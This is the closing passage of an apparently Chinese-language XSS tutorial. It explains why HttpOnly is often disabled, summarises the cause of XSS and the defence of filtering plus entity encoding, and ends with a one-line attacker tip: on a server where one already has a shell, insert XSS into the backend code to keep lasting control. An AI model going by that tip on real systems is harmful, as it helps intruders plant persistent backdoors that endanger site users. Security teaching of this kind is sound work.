在实际应用中，HttpOnly没有被广泛使用，这是从业务便利性角度进行的选择。比如，在网站做广告推荐时，会利用JS脚本读取当前用户Cookie信息以作精准推广，如果开启HttpOnly，则上述效果会失效。

10.总结

了解了xss的原理、条件、利用方式、绕过方式。

XSS漏洞的核心问题在于当前页面没有明确区分用户参数与代码，导致由客户端提交的恶意代码会回显给客户端并且执行。

解决XSS漏洞的基本思路是过滤+实体化编码。

补充

已有shell的情况下，如何利用xss达到永久控制。

可以去直接修改后台代码，插入xss